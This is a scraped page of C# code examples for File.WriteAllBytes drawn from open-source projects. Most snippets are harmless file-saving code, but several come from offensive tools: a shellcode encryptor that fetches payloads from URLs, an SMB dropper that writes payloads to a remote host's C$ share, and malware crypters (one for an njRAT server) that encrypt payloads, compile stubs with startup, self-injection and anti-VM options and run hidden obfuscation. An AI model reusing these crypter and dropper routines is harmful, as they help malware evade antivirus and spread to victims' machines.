System.IO.File.WriteAllBytes(string, byte[])

Here are the examples of the csharp api System.IO.File.WriteAllBytes(string, byte[]) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

2451 Examples 7

19 Source : RansomNote.cs
with GNU General Public License v3.0
from 0x00000FF

private void Detect()
        {
            while (true)
            {
                if (!flag)
                {
                    var Procs = Process.GetProcessesByName("th12");

                    if (Procs.Length > 0)
                    {
                        // Open TH12.exe with PROCESS_VM_READ (0x0010).
                        _handle = OpenProcess(0x10, false, Procs.FirstOrDefault().Id);

                        if (_handle != null)
                            processStatus = true;
                    }
                }
                else
                {
                    if (IsScoreReached)
                    {
                        break;
                    }
                    
                    int bytesRead = 0;
                    byte[] _buffer = new byte[4]; // Will read 4 bytes of memory

                    /*
                     * Read Level
                     * 
                     * In TH12 ~ Undefined Fantastic Object, Level is stored in
                     * [base address] + 0xAEBD0, as 4bytes int value.
                     * 
                     */ 
                    var readLevel = ReadProcessMemory((int)_handle, 0x004AEBD0, _buffer, 2, ref bytesRead);
                    if (!readLevel)
                    {
                        flag = false;
                        continue;
                    }

                    /*
                     * Level Codes
                     * 0 - Easy; 1 - Normal; 2 - Hard; 3 - Lunatic; ? - Extra
                     * 
                     */
                    if (BitConverter.ToInt16(_buffer, 0) != 3)
                    {
                        ProcStatus.Invoke(new MethodInvoker(() => {
                            ProcStatus.Text = "NOT LUNATIC LEVEL!";
                        }));
                        continue;
                    }
                    else
                    {
                        ProcStatus.Invoke(new MethodInvoker(() => {
                            ProcStatus.Text = "Process Working";
                        }));
                    }

                    /*
                     * Read Score
                     * 
                     * Once level is detected as LUNATIC, 
                     * rensenWare reads score from process.
                     * 
                     * Score is stored in
                     * [base address] + 0xB0C44, as 4bytes int value.
                     * 
                     */
                    var readScore = ReadProcessMemory((int)_handle, 0x004B0C44, _buffer, 4, ref bytesRead);
                    if (!readScore)
                    {
                        flag = false;
                        continue;
                    }

                    ScoreStatus.Invoke(new MethodInvoker(() =>
                    {
                        ScoreStatus.Text = (BitConverter.ToInt32(_buffer, 0) * 10).ToString();
                    }));

                    /*
                     * One interesting thing,
                     * internally, touhou project process prints score as 10 times of original value.
                     * I don't know why it is.
                     */ 
                    if (BitConverter.ToInt32(_buffer, 0) > 20000000) // It is 20,000,000
                        IsScoreReached = true;
                    else
                        _buffer = null;
                }

                // Let CPU rest
                Thread.Sleep(100);
            }

            // Create Random Key/IV File in Desktop of Current User.
            File.WriteAllBytes(Program.KeyFilePath, Program.randomKey);
            File.WriteAllBytes(Program.IVFilePath, Program.randomIV);

            decryptProgress.Maximum = Program.encryptedFiles.Count;

            foreach (var path in Program.encryptedFiles)
            {
                try
                {
                    DecryptStatus.Invoke(new MethodInvoker(() =>
                    {
                        DecryptStatus.Text = Path.GetFileName(path);
                    }));

                    // Do Decrypt

                    decryptProgress.Value++;
                }
                catch
                {
                    continue;
                }
            }

            this.Invoke(new MethodInvoker(() => {
                MessageBox.Show("Decryption Complete!\nIf there are encrypted files exists, use manual decrypter with key/IV files saved in desktop!");
                
                ButtonManualDecrypt.Visible = true;
                ButtonExit.Visible = true;
            }));            
        }

19 Source : frmMain.cs
with GNU General Public License v3.0
from 0x00000FF

private void Create_Click(object sender, EventArgs e)
        {
            try
            {
                if (File.Exists(IVFilePath))
                {
                    if (File.GetAttributes(IVFilePath) == FileAttributes.Hidden)
                        File.SetAttributes(IVFilePath, FileAttributes.Normal);

                    if (File.ReadAllBytes(IVFilePath).Length != 16)
                    {
                        File.Delete(IVFilePath);
                    }

                    var _buffer = new byte[16];

                    var randomKey = new RNGCryptoServiceProvider();
                    randomKey.GetBytes(_buffer);
                    File.WriteAllBytes(IVFilePath, _buffer);
                }
                else
                {
                    var _buffer = new byte[16];

                    var randomKey = new RNGCryptoServiceProvider();
                    randomKey.GetBytes(_buffer);
                    File.WriteAllBytes(IVFilePath, _buffer);
                }

                if (File.Exists(KeyFilePath))
                {
                    if (File.GetAttributes(KeyFilePath) == FileAttributes.Hidden)
                        File.SetAttributes(KeyFilePath, FileAttributes.Normal);

                    if (File.ReadAllBytes(KeyFilePath).Length != 32)
                    {
                        File.Delete(KeyFilePath);
                    }

                    var _buffer = new byte[32];

                    var randomKey = new RNGCryptoServiceProvider();
                    randomKey.GetBytes(_buffer);
                    File.WriteAllBytes(KeyFilePath, _buffer);
                }
                else
                {
                    var _buffer = new byte[32];

                    var randomKey = new RNGCryptoServiceProvider();
                    randomKey.GetBytes(_buffer);
                    File.WriteAllBytes(KeyFilePath, _buffer);
                }

                File.SetAttributes(IVFilePath, FileAttributes.Hidden);
                File.SetAttributes(KeyFilePath, FileAttributes.Hidden);

                Check();

            }
            catch
            {
                MessageBox.Show("There's problem to create pseudo key/iv files.\nTry again with administrator privileges.");
            }
        }

19 Source : Helper.cs
with MIT License
from 0xDivyanshu

static void Main(string[] args)
        {
            if (args[0].StartsWith("-location") && args[1].StartsWith("-encrypt") && args[2].StartsWith("-preplacedword") && args[3].StartsWith("-saveTo"))
            {
                string location = args[0].Split('=')[1];
                string algo = args[1].Split('=')[1];
                string preplaced = args[2].Split('=')[1];
                string writeTo = args[3].Split('=')[1];
                preplaced = CreateMD5(preplaced);
                byte[] shellcode;
                if (location.StartsWith("http") || location.StartsWith("\\"))
                {
                    WebClient wc = new WebClient();
                    string url = location;
                    shellcode = wc.DownloadData(url);
                }
                else
                {
                    shellcode = File.ReadAllBytes(location);
                }
                
                if (algo == "aes")
                {
                    byte[] encoded_shellcode = Encrypt(shellcode, preplaced,"1234567891234567");
                    File.WriteAllBytes(writeTo, encoded_shellcode);
                    Console.WriteLine("[+] Encrypted aes shellcode written to disk");
                    return;
                }
                else if (algo == "xor")
                {
                    byte[] encoded_shellcode = xor_enc(shellcode, preplaced);
                    File.WriteAllBytes(writeTo, encoded_shellcode);
                    Console.WriteLine("[+] Encrypted xor shellcode written to disk");
                    return;
                }
            }
            else
            {
                help_me();
                return;
            }
        }

19 Source : Program.cs
with GNU General Public License v3.0
from 0xthirteen

static void WriteToFileSMB(string host, string droploc, string fname, string paylocation)
        {
            try
            {
                byte[] filen = null;
                var writeuncpath = String.Format(@"\\{0}\C${1}\{2}", host, droploc, fname);
                //this is meant to be updated to compile file into replacedembly
                if (Path.IsPathRooted(paylocation))
                {
                    filen = File.ReadAllBytes(paylocation);
                }
                Console.WriteLine("[+] Writing data to      :  {0}", host);
                File.WriteAllBytes(writeuncpath, filen);
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Error     :  {0}", ex.Message);
                return;
            }
        }

19 Source : fMain.cs
with MIT License
from 0xPh0enix

private void bCrypt_Click(object sender, EventArgs e)
        {
            if (!File.Exists(tServer.Text))
            {
                MessageBox.Show("Error, server is not exists!", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            if (!File.Exists(tIcon.Text) && tIcon.Text.Trim() != "")
            {
                MessageBox.Show("Error, icon is not exists!", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }


            using (SaveFileDialog fSaveDialog = new SaveFileDialog())
            {

                fSaveDialog.Filter = "Executable (*.exe)|*.exe";
                fSaveDialog.replacedle = "Save crypted Server...";

                if (fSaveDialog.ShowDialog() == DialogResult.OK)
                {

                    string sFileName = cUtils.GenStr(8);
                    string sKey = cUtils.GenStr(40);

                    string sStub = Properties.Resources.Stub

                        .Replace("%RES_NAME%", sFileName)
                        .Replace("%ENC_KEY%", sKey);

                    File.WriteAllBytes(sFileName, nAES256.cAES256.Encrypt(File.ReadAllBytes(tServer.Text), System.Text.Encoding.Default.GetBytes(sKey)));


                    using (CSharpCodeProvider csCodeProvider = new CSharpCodeProvider(new Dictionary<string, string>
            {
                {"CompilerVersion", "v2.0"}
            }))
                    {
                        CompilerParameters cpParams = new CompilerParameters(null, fSaveDialog.FileName, true);


                        if (tIcon.Text.Trim() == "")
                            cpParams.CompilerOptions = "/t:winexe /unsafe /platform:x86 /debug-";
                        else
                            cpParams.CompilerOptions = "/t:winexe /unsafe /platform:x86 /debug- /win32icon:\"" + tIcon.Text + "\"";

                        cpParams.Referencedreplacedemblies.Add("System.dll");
                        cpParams.Referencedreplacedemblies.Add("System.Management.dll");
                        cpParams.Referencedreplacedemblies.Add("System.Windows.Forms.dll");

                        cpParams.EmbeddedResources.Add(sFileName);

                        csCodeProvider.CompilereplacedemblyFromSource(cpParams, sStub);

                        MessageBox.Show("Your nj server crypted successfully!", "OK", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    }

                    File.Delete(sFileName);
                }

            }
        }

19 Source : IrdClient.cs
with MIT License
from 13xforever

public async Task<Ird> DownloadAsync(SearchResulreplacedem irdInfo, string localCachePath, CancellationToken cancellationToken)
        {
            Ird result = null;
            try
            {
                var localCacheFilename = Path.Combine(localCachePath, irdInfo.Filename);
                // first we search local cache and try to load whatever data we can
                try
                {
                    if (File.Exists(localCacheFilename))
                        return IrdParser.Parse(File.ReadAllBytes(localCacheFilename));
                }
                catch (Exception e)
                {
                    Log.Warn(e, "Error accessing local IRD cache: " + e.Message);
                }
                try
                {
                    var resultBytes = await client.GetByteArrayAsync(GetDownloadLink(irdInfo.Filename)).ConfigureAwait(false);
                    result = IrdParser.Parse(resultBytes);
                    try
                    {
                        if (!Directory.Exists(localCachePath))
                            Directory.CreateDirectory(localCachePath);
                        File.WriteAllBytes(localCacheFilename, resultBytes);
                    }
                    catch (Exception ex)
                    {
                        Log.Warn(ex, $"Failed to write {irdInfo.Filename} to local cache: {ex.Message}");
                    }
                }
                catch (Exception e)
                {
                    Log.Warn(e, $"Failed to download {irdInfo.Filename}: {e.Message}");
                }
                return result;
            }
            catch (Exception e)
            {
                Log.Error(e);
                return result;
            }
        }

19 Source : Form1.cs
with Mozilla Public License 2.0
from 1M50RRY

private void button3_Click(object sender, EventArgs e)
        {
            //Crypt
            string result = Properties.Resources.stub;
            result = result.Replace("%startup%", startup.Checked.ToString().ToLower());
            result = result.Replace("%native%", native.Checked.ToString().ToLower());
            result = result.Replace("%selfinj%", si.Checked.ToString().ToLower());
            result = result.Replace("%antivm%", antivm.Checked.ToString().ToLower());
            result = result.Replace("%key%", key.Text);
            result = result.Replace("%asm%", GenerateKey());
            var providerOptions = new Dictionary<string, string>
            {
                {"CompilerVersion", "v4.0"}
            };
            CompilerResults results;
            using (var provider = new CSharpCodeProvider(providerOptions))
            {
                var Params = new CompilerParameters(new[] { "mscorlib.dll", "System.Core.dll" }, Environment.GetEnvironmentVariable("temp") + "\\Crypted.exe", true);
                if (ico !=  null)
                    Params.CompilerOptions = "/t:winexe /unsafe /platform:x86 /win32icon:\"" + ico + "\"";
                else
                    Params.CompilerOptions = "/t:winexe /unsafe /platform:x86";

                Params.Referencedreplacedemblies.Add("System.Windows.Forms.dll");
                Params.Referencedreplacedemblies.Add("System.dll");
                Params.Referencedreplacedemblies.Add("System.Drawing.Dll");
                Params.Referencedreplacedemblies.Add("System.Security.Dll");
                Params.Referencedreplacedemblies.Add("System.Management.dll");

                string fname = "";
                if (punp.Checked)
                {
                    fname = Pump();
                    Params.EmbeddedResources.Add(fname); 
                }
                
                string tmp = "payload";
                File.WriteAllBytes(tmp, EncryptAES(encFile, key.Text));
                Params.EmbeddedResources.Add(tmp);
                results = provider.CompilereplacedemblyFromSource(Params, result);
                try
                {
                    File.Delete(tmp);
                    File.Delete(fname);
                }
                catch(Exception)
                {

                } 
            }
            if (results.Errors.Count == 0)
            {
                String temp = Environment.GetEnvironmentVariable("temp");
                if (obf.Checked)
                {
                   
                    File.WriteAllBytes(temp + "\\cli.exe", Properties.Resources.cli);
                    File.WriteAllBytes(temp + "\\Confuser.Core.dll", Properties.Resources.Confuser_Core);
                    File.WriteAllBytes(temp + "\\Confuser.DynCipher.dll", Properties.Resources.Confuser_DynCipher);
                    File.WriteAllBytes(temp + "\\Confuser.Protections.dll", Properties.Resources.Confuser_Protections);
                    File.WriteAllBytes(temp + "\\Confuser.Renamer.dll", Properties.Resources.Confuser_Renamer);
                    File.WriteAllBytes(temp + "\\Confuser.Runtime.dll", Properties.Resources.Confuser_Runtime);
                    File.WriteAllBytes(temp + "\\dnlib.dll", Properties.Resources.dnlib);

                    String crproj = Properties.Resources.def.Replace("%out%", Environment.CurrentDirectory);
                    crproj = crproj.Replace("%base%", temp);
                    crproj = crproj.Replace("%file%", temp + "\\Crypted.exe");
                    File.WriteAllText(temp + "\\def.crproj", crproj);

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    startInfo.Arguments = "/C " + temp + "\\cli.exe " + temp + "\\def.crproj";
                    startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                    startInfo.CreateNoWindow = true;
                    startInfo.FileName = "cmd.exe";
                    Thread pr = new Thread(() => Process.Start(startInfo));
                    pr.Start();
                    pr.Join();
                }
                else
                {
                    String file = Environment.CurrentDirectory + "\\Crypted.exe";
                    try
                    {
                        File.Delete(file);
                    }
                    catch(Exception)
                    {

                    }
                    File.Move(temp + "\\Crypted.exe", file);
                }
                    

                MessageBox.Show("Done! Check Crypted.exe in the same folder.", "Crypting", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
            }
            
            foreach (CompilerError compilerError in results.Errors)
            {
                MessageBox.Show(string.Format("Error: {0}, At line {1}", compilerError.ErrorText, compilerError.Line));
            }
            
            
                
        }

19 Source : MainWindow.xaml.cs
with GNU General Public License v3.0
from 1RedOne

public string ExportCert(X509Certificate2 newCert, string ThisClient, string FilePath)
        {
            string ExportPath = FilePath + "\\" + ThisClient + ".pfx";
            byte[] certToFile = newCert.Export(X509ContentType.Pfx, PreplacedwordBox.Preplacedword);
            File.WriteAllBytes(ExportPath, certToFile);
            return ExportPath;
        }

19 Source : Form1.cs
with Mozilla Public License 2.0
from 1M50RRY

private void button3_Click(object sender, EventArgs e)
        {
            //Crypt
            string result = Properties.Resources.stub;
            result = result.Replace("%startup%", startup.Checked.ToString().ToLower());
            result = result.Replace("%native%", native.Checked.ToString().ToLower());
            result = result.Replace("%selfinj%", si.Checked.ToString().ToLower());
            result = result.Replace("%antivm%", antivm.Checked.ToString().ToLower());
            result = result.Replace("%key%", key.Text);
            result = result.Replace("%asm%", GenerateKey());
            var providerOptions = new Dictionary<string, string>
            {
                {"CompilerVersion", "v4.0"}
            };
            CompilerResults results;
            using (var provider = new CSharpCodeProvider(providerOptions))
            {
                var Params = new CompilerParameters(new[] { "mscorlib.dll", "System.Core.dll" }, Environment.GetEnvironmentVariable("temp") + "\\Crypted.exe", true);
                if (ico !=  null)
                    Params.CompilerOptions = "/t:winexe /unsafe /platform:x86 /win32icon:\"" + ico + "\"";
                else
                    Params.CompilerOptions = "/t:winexe /unsafe /platform:x86";

                Params.Referencedreplacedemblies.Add("System.Windows.Forms.dll");
                Params.Referencedreplacedemblies.Add("System.dll");
                Params.Referencedreplacedemblies.Add("System.Drawing.Dll");
                Params.Referencedreplacedemblies.Add("System.Security.Dll");
                Params.Referencedreplacedemblies.Add("System.Management.dll");

                string fname = "";
                if (punp.Checked)
                {
                    fname = Pump();
                    Params.EmbeddedResources.Add(fname); 
                }
                
                string tmp = "payload";
                File.WriteAllBytes(tmp, EncryptAES(encFile, key.Text));
                Params.EmbeddedResources.Add(tmp);
                results = provider.CompilereplacedemblyFromSource(Params, result);
                try
                {
                    File.Delete(tmp);
                    File.Delete(fname);
                }
                catch(Exception)
                {

                } 
            }
            if (results.Errors.Count == 0)
            {
                String temp = Environment.GetEnvironmentVariable("temp");
                if (obf.Checked)
                {
                   
                    File.WriteAllBytes(temp + "\\cli.exe", Properties.Resources.cli);
                    File.WriteAllBytes(temp + "\\Confuser.Core.dll", Properties.Resources.Confuser_Core);
                    File.WriteAllBytes(temp + "\\Confuser.DynCipher.dll", Properties.Resources.Confuser_DynCipher);
                    File.WriteAllBytes(temp + "\\Confuser.Protections.dll", Properties.Resources.Confuser_Protections);
                    File.WriteAllBytes(temp + "\\Confuser.Renamer.dll", Properties.Resources.Confuser_Renamer);
                    File.WriteAllBytes(temp + "\\Confuser.Runtime.dll", Properties.Resources.Confuser_Runtime);
                    File.WriteAllBytes(temp + "\\dnlib.dll", Properties.Resources.dnlib);

                    String crproj = Properties.Resources.def.Replace("%out%", Environment.CurrentDirectory);
                    crproj = crproj.Replace("%base%", temp);
                    crproj = crproj.Replace("%file%", temp + "\\Crypted.exe");
                    File.WriteAllText(temp + "\\def.crproj", crproj);

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    startInfo.Arguments = "/C " + temp + "\\cli.exe " + temp + "\\def.crproj";
                    startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                    startInfo.CreateNoWindow = true;
                    startInfo.FileName = "cmd.exe";
                    Thread pr = new Thread(() => Process.Start(startInfo));
                    pr.Start();
                    pr.Join();
                }
                else
                {
                    String file = Environment.CurrentDirectory + "\\Crypted.exe";
                    try
                    {
                        File.Delete(file);
                    }
                    catch(Exception)
                    {

                    }
                    File.Move(temp + "\\Crypted.exe", file);
                }
                    

                MessageBox.Show("Done! Check Crypted.exe in the same folder.", "Crypting", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
            }
            
            foreach (CompilerError compilerError in results.Errors)
            {
                MessageBox.Show(string.Format("Error: {0}, At line {1}", compilerError.ErrorText, compilerError.Line));
            }
            
            
                
        }

19 Source : Form1.cs
with Mozilla Public License 2.0
from 1M50RRY

private static string Pump()
        {
            Random rnd = new Random();
            int size = rnd.Next(1000, 1000000);
            byte[] gen = new byte[size];
            rnd.NextBytes(gen);
            string filename = "Garbage.bin";
            File.WriteAllBytes(filename, gen);
            return filename;
        }

19 Source : DataBaseInfo.cs
with MIT License
from 2881099

void Save()
        {
            using (MemoryStream ms = new MemoryStream())
            {
                IFormatter formatter = new BinaryFormatter();
                formatter.Serialize(ms, this);
                File.WriteAllBytes(path, ms.GetBuffer());
            }
        }

19 Source : Program.cs
with GNU General Public License v3.0
from 3xpl01tc0d3r

static void Main(string[] args)
        {
            try
            {
                logo();
                // https://github.com/GhostPack/Rubeus/blob/master/Rubeus/Domain/ArgumentParser.cs#L10

                var arguments = new Dictionary<string, string>();
                foreach (var argument in args)
                {
                    var idx = argument.IndexOf(':');
                    if (idx > 0)
                        arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
                    else
                        arguments[argument] = string.Empty;
                }

                WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent();
                WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
                if (principal.IsInRole(WindowsBuiltInRole.Administrator))
                {
                    Console.WriteLine($"[+] Process running with {principal.Idenreplacedy.Name} privileges with HIGH integrity.");
                }
                else
                {
                    Console.WriteLine($"[+] Process running with {principal.Idenreplacedy.Name} privileges with MEDIUM / LOW integrity.");
                }

                if (arguments.Count == 0)
                {
                    PrintError("[-] No arguments specified. Please refer the help section for more details.");
                    help();
                }
                else if (arguments.ContainsKey("/help"))
                {
                    help();
                }
                else if (arguments.Count < 3)
                {
                    PrintError("[-] Some arguments are missing. Please refer the help section for more details.");
                    help();
                }
                else if (arguments.Count >= 3)
                {
                    string key = "SuperStrongKey";
                    string shellcode = null;
                    byte[] rawshellcode = new byte[] { };
                    if (arguments.ContainsKey("/path") && System.IO.File.Exists(arguments["/path"]))
                    {
                        if (arguments["/f"] == "raw")
                        {
                            rawshellcode = System.IO.File.ReadAllBytes(arguments["/path"]);
                        }
                        else
                        {
                            shellcode = System.IO.File.ReadAllText(arguments["/path"]);
                        }

                    }
                    else if (arguments.ContainsKey("/url"))
                    {
                        if (arguments["/f"] == "raw")
                        {
                            rawshellcode = GetRawShellcode(arguments["/url"]);
                        }
                        else
                        {
                            shellcode = GetShellcode(arguments["/url"]);
                        }
                    }

                    if (shellcode != null || rawshellcode.Length > 0)
                    {

                        byte[] buf = new byte[] { };

                        if (arguments.ContainsKey("/key"))
                        {
                            key = (arguments["/key"]);
                        }
                        PrintInfo($"[!] Shellcode will be encrypted using '{key}' key");
                        if (arguments["/enc"] == "xor")
                        {
                            byte[] xorshellcode = new byte[] { };
                            if (arguments["/f"] == "base64")
                            {
                                buf = Convert.FromBase64String(shellcode);
                                xorshellcode = XOR(buf, Encoding.ASCII.GetBytes(key));
                                PrintSuccess("[+] Shellcode encrypted successfully.");
                                //Console.WriteLine(Convert.ToBase64String(xorshellcode));
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllText(arguments["/o"], Convert.ToBase64String(xorshellcode));
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllText("output.bin", Convert.ToBase64String(xorshellcode));
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else if (arguments["/f"] == "hex")
                            {
                                buf = StringToByteArray(shellcode);
                                xorshellcode = XOR(buf, Encoding.ASCII.GetBytes(key));
                                PrintSuccess("[+] Shellcode encrypted successfully.");
                                //Console.WriteLine(ByteArrayToString(xorshellcode));
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllText(arguments["/o"], ByteArrayToString(xorshellcode));
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllText("output.bin", ByteArrayToString(xorshellcode));
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else if (arguments["/f"] == "c")
                            {
                                buf = convertfromc(shellcode);
                                xorshellcode = XOR(buf, Encoding.ASCII.GetBytes(key));
                                StringBuilder newshellcode = new StringBuilder();
                                for (int i = 0; i < xorshellcode.Length; i++)
                                {
                                    newshellcode.Append("\\x");
                                    newshellcode.AppendFormat("{0:x2}", xorshellcode[i]);
                                }
                                PrintSuccess("[+] Shellcode encrypted successfully.");
                                //Console.WriteLine(newshellcode);
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllText(arguments["/o"], newshellcode.ToString());
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllText("output.bin", newshellcode.ToString());
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else if (arguments["/f"] == "raw")
                            {
                                xorshellcode = XOR(rawshellcode, Encoding.ASCII.GetBytes(key));
                                PrintSuccess("[+] Shellcode encrypted successfully.");
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllBytes(arguments["/o"], xorshellcode);
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllBytes("output.bin", xorshellcode);
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else
                            {
                                PrintError("[-] Please specify correct shellcode format.");
                            }
                        }
                        else if (arguments["/enc"] == "aes")
                        {
                            byte[] preplacedwordBytes = Encoding.UTF8.GetBytes(key);
                            preplacedwordBytes = SHA256.Create().ComputeHash(preplacedwordBytes);
                            byte[] bytesEncrypted = new byte[] { };
                            if (arguments["/f"] == "base64")
                            {
                                buf = Convert.FromBase64String(shellcode);
                                bytesEncrypted = AES_Encrypt(buf, preplacedwordBytes);
                                PrintSuccess("[+] Shellcode encrypted successfully.");
                                //Console.WriteLine(Convert.ToBase64String(bytesEncrypted));
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllText(arguments["/o"], Convert.ToBase64String(bytesEncrypted));
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllText("output.bin", Convert.ToBase64String(bytesEncrypted));
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else if (arguments["/f"] == "hex")
                            {
                                buf = StringToByteArray(shellcode);
                                bytesEncrypted = AES_Encrypt(buf, preplacedwordBytes);
                                PrintSuccess("[+] Shellcode encrypted successfully.");
                                //Console.WriteLine(ByteArrayToString(bytesEncrypted));
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllText(arguments["/o"], ByteArrayToString(bytesEncrypted));
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllText("output.bin", ByteArrayToString(bytesEncrypted));
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else if (arguments["/f"] == "c")
                            {
                                buf = convertfromc(shellcode);
                                bytesEncrypted = AES_Encrypt(buf, preplacedwordBytes);
                                StringBuilder newshellcode = new StringBuilder();
                                for (int i = 0; i < bytesEncrypted.Length; i++)
                                {
                                    newshellcode.Append("\\x");
                                    newshellcode.AppendFormat("{0:x2}", bytesEncrypted[i]);
                                }
                                PrintSuccess("[+] Shellcode encrypted successfully.");
                                //Console.WriteLine(newshellcode);
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllText(arguments["/o"], newshellcode.ToString());
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllText("output.bin", newshellcode.ToString());
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else if (arguments["/f"] == "raw")
                            {
                                bytesEncrypted = AES_Encrypt(rawshellcode, preplacedwordBytes);
                                if (arguments.ContainsKey("/o"))
                                {
                                    System.IO.File.WriteAllBytes(arguments["/o"], bytesEncrypted);
                                    PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
                                }
                                else
                                {
                                    System.IO.File.WriteAllBytes("output.bin", bytesEncrypted);
                                    PrintSuccess($"[+] Output saved in 'output.bin' file.");
                                }
                            }
                            else
                            {
                                PrintError("[-] Please specify correct shellcode format.");
                            }
                        }
                        else
                        {
                            PrintError("[-] Please specify correct encryption type.");
                        }
                    }
                    else
                    {
                        PrintError("[-] Please check the specified file path or the URL.");
                    }
                }
                else
                {
                    PrintError("[-] File doesn't exists. Please check the specified file path.");
                }
            }
            catch (Exception ex)
            {
                PrintError(ex.Message);
            }
        }

19 Source : Test.cs
with MIT License
from 3wz

IEnumerator Start()
    {
        string testWav = "testWav.wav";
        string testMp3 = "testMp3.mp3";
        WWW www = new WWW(GetFileStreamingreplacedetsPath(testWav));
        yield return www;
        if (string.IsNullOrEmpty(www.error))
        {
            string saveWavPath = Path.Combine(Application.persistentDataPath, testWav);
            File.WriteAllBytes(saveWavPath, www.bytes);
            button.onClick.AddListener(() =>
            {
                string saveMp3Path = Path.Combine(Application.persistentDataPath, testMp3);
                var bitRate = string.IsNullOrEmpty(input.text) ? LAMEPreset.ABR_128 : (LAMEPreset)int.Parse(input.text);
                WaveToMP3(saveWavPath, saveMp3Path, bitRate);
                StartCoroutine(PlayMp3(saveMp3Path));
            });
        }
    }

19 Source : ImageHelper.cs
with MIT License
from 499116344

public static string CreateImageFromBytes(string fileName, byte[] buffer)
        {
            var file = fileName;
            var image = BytesToImage(buffer);
            var format = image.RawFormat;
            if (format.Equals(ImageFormat.Jpeg))
            {
                file += ".jpeg";
            }
            else if (format.Equals(ImageFormat.Png))
            {
                file += ".png";
            }
            else if (format.Equals(ImageFormat.Bmp))
            {
                file += ".bmp";
            }
            else if (format.Equals(ImageFormat.Gif))
            {
                file += ".gif";
            }
            else if (format.Equals(ImageFormat.Icon))
            {
                file += ".icon";
            }

            var info = new FileInfo(file);
            Directory.CreateDirectory(info.Directory.FullName);
            File.WriteAllBytes(file, buffer);
            return file;
        }

19 Source : CamerasManager.cs
with Apache License 2.0
from A7ocin

void LateUpdate() {
      if(enableVideoSave) {
         // per ogni telecamera
         for(int i = 0; i < cameras.Count; ++i) {
            if(cameras[i].Camera) {
               RenderTexture rt = new RenderTexture((int) cameras[i].Camera.rect.width, (int) cameras[i].Camera.rect.height, 24);
               cameras[i].Camera.targetTexture = rt;

               rt.antiAliasing = 8;

               Texture2D screenShot = new Texture2D(rt.width, rt.height, TextureFormat.RGB24, false);
               cameras[i].Camera.Render();
               RenderTexture.active = rt;
               screenShot.ReadPixels(new Rect(0, 0, rt.width, rt.height), 0, 0);
               cameras[i].Camera.targetTexture = null;
               RenderTexture.active = null; 
               Destroy(rt);
               
               byte[] bytes = screenShot.EncodeToPNG();

               string filename = string.Format("{0}/frame_{1:D04}.png", cameras[i].Folder, Time.frameCount);
               System.IO.File.WriteAllBytes(filename, bytes);
               Destroy(screenShot);
               }
         }
      }
   }

19 Source : Tracking.cs
with Apache License 2.0
from A7ocin

private void SaveMatToFile(String text, Mat saveMat)
    {
		if (SaveVideoElaborated)
		{
			texture = new Texture2D(saveMat.width(), saveMat.height(), TextureFormat.RGB24, false);

			Utils.matToTexture2D(saveMat, texture);

			byte[] bytes = texture.EncodeToPNG();

			string filename = string.Format("{0}/" + text + "_{1:D04}0.png", folder, Time.frameCount);
			System.IO.File.WriteAllBytes(filename, bytes);
		}

    }

19 Source : WavUtility.cs
with GNU General Public License v3.0
from a2659802

public static byte[] FromAudioClip(AudioClip audioClip, out string filepath, bool saveAsFile = true, string dirname = "recordings")
		{
			MemoryStream stream = new MemoryStream();

			const int headerSize = 44;

			// get bit depth
			UInt16 bitDepth = 16; //BitDepth (audioClip);

			// NB: Only supports 16 bit
			//Debug.replacedertFormat (bitDepth == 16, "Only converting 16 bit is currently supported. The audio clip data is {0} bit.", bitDepth);

			// total file size = 44 bytes for header format and audioClip.samples * factor due to float to Int16 / sbyte conversion
			int fileSize = audioClip.samples * BlockSize_16Bit + headerSize; // BlockSize (bitDepth)

			// chunk descriptor (riff)
			WriteFileHeader(ref stream, fileSize);
			// file header (fmt)
			WriteFileFormat(ref stream, audioClip.channels, audioClip.frequency, bitDepth);
			// data chunks (data)
			WriteFileData(ref stream, audioClip, bitDepth);

			byte[] bytes = stream.ToArray();

			// Validate total bytes
